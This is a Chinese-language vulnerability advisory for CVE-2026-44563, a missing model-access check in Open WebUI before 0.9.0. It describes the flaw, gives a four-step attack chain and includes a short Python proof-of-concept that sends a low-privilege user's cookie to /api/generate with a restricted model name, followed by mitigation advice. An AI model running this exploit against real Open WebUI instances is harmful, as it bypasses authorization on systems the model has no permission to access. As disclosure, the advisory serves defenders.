IPBUF安全漏洞报告
English
CVE-2026-44563 CVSS 5.4 中危

CVE-2026-44563 Open WebUI访问控制缺失漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44563
漏洞类型
访问控制缺失
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

访问控制Open WebUI越权漏洞CWE-284AI安全

漏洞概述

Open WebUI 是一个可离线运行的自托管人工智能平台。在 0.9.0 版本之前,该平台存在严重的访问控制缺失漏洞。具体而言,/api/generate、/api/embed、/api/embeddings 和 /api/show 等接口在处理用户请求时,仅验证用户是否为已认证的非挂起用户,而未调用 AccessGrants.has_access() 检查用户是否有权访问特定的模型。这导致任何经过身份验证的低权限用户都可以绕过授权限制,非法访问并使用未授权的模型资源,造成信息泄露或服务滥用。

技术细节

该漏洞源于 Open WebUI 后端对 API 端点的授权验证逻辑存在缺陷。受影响的端点(如 /api/generate)接收客户端提交的模型名称,并将其直接转发给后端的 Ollama 服务进行处理。在代码逻辑中,系统虽然通过 get_verified_user() 函数确认了请求者的身份(即已登录用户),并验证了模型存在于全局列表中,但完全忽略了对模型访问权限的校验。

在正常的业务逻辑中,管理员可能希望限制特定模型仅对特定用户组开放。由于缺少 AccessGrants.has_access() 的调用,攻击者只需拥有一个普通账号,即可通过构造恶意 API 请求,将“model”参数指定为受限模型的名称,从而成功调用后端服务。这属于典型的水平越权漏洞(Broken Access Control, CWE-284),破坏了系统的多租户隔离或权限分级机制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者探测目标 Open WebUI 服务,确认其版本低于 0.9.0,并注册或获取一个普通用户账号。
STEP 2
步骤2:身份验证
攻击者使用普通账号登录系统,获取有效的 Session Cookie 或 Token。
STEP 3
步骤3:漏洞利用
攻击者向 /api/generate 等接口发送 POST 请求,在参数中指定受限模型的名称(如通过枚举或猜测得到的内部模型)。
STEP 4
步骤4:权限绕过
后端仅验证登录状态未验证模型访问权限,将请求转发给 Ollama,返回受限模型的生成结果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Open WebUI instance URL target_url = "http://vulnerable-host:3000/api/generate" # Valid authentication cookie for a low-privilege user # Replace with a valid session token obtained after login headers = { "Content-Type": "application/json", "Cookie": "auth_token=valid_low_priv_user_session_token" } # Payload attempting to access a restricted model # The attacker targets a model they should not have access to (e.g., 'internal-admin-model') payload = { "model": "restricted-secret-model", "prompt": "What is the flag?", "stream": False } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Accessed restricted model.") print("[+] Response:", response.json()) else: print("[-] Request failed. Status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print("[-] An error occurred:", str(e))

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议管理员立即将 Open WebUI 升级到 0.9.0 版本以修复此漏洞。如果无法立即升级,应限制对 /api/generate、/api/embeddings 等关键接口的网络访问,仅允许受信任的内部 IP 调用,或通过 WAF 拦截对特定受限模型名称的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表